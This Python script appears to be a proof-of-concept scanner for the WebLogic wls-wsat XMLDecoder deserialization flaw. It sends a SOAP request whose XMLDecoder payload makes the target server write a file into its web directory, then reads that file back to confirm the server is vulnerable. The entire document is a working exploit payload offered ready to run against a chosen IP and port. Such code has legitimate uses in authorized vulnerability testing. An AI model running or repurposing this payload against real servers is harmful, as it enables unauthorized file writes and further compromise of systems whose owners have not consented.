#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import socket
import time
import re
import sys
from sys import argv

import argparse
from json_parse import Jsonparse

headers = {
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Upgrade-Insecure-Requests': '1',
	'Content-Type': 'text/xml'
	}

class WLSScanner(object):
	def __init__(self,ip,port,level):
		self.ip = ip
		self.port = port
		self.level = level
	def run(self):
		tg = 'http://'+self.ip+':'+bytes(self.port)
		posturl= tg +'/wls-wsat/CoordinatorPortType'
		data = '''
		<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
			<soapenv:Header>
				<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
					<java version="1.6.0" class="java.beans.XMLDecoder">
						<void class="java.io.PrintWriter">
							<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
							<string>xmldecoder_vul_test</string></void><void method="close"/>
						</void>
					</java>
				</work:WorkContext>
			</soapenv:Header>
			<soapenv:Body/>
		</soapenv:Envelope>
		'''
		try:
			r=requests.post(posturl,data=data,headers=headers,timeout=timeout)
			geturl=tg+"/wls-wsat/test.txt"
			check_result = requests.get(geturl,headers=headers,timeout=timeout)
			if 'xmldecoder_vul_test' in check_result.text:
				print('vul in target')   
				exit(233)
			else:
				print('Not vul')
				exit(1)
		except Exception as e:
			print(e)
			exit(-1)

if __name__ == '__main__':
	jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
	jsonobj = Jsonparse(jsonfile)
	jsondata = jsonobj.parse()
	targetip = sys.argv[2]
	timeout = jsondata['timeout']
	port = sys.argv[3]
	Scanner = WLSScanner(targetip, port, timeout)
	Scanner.run()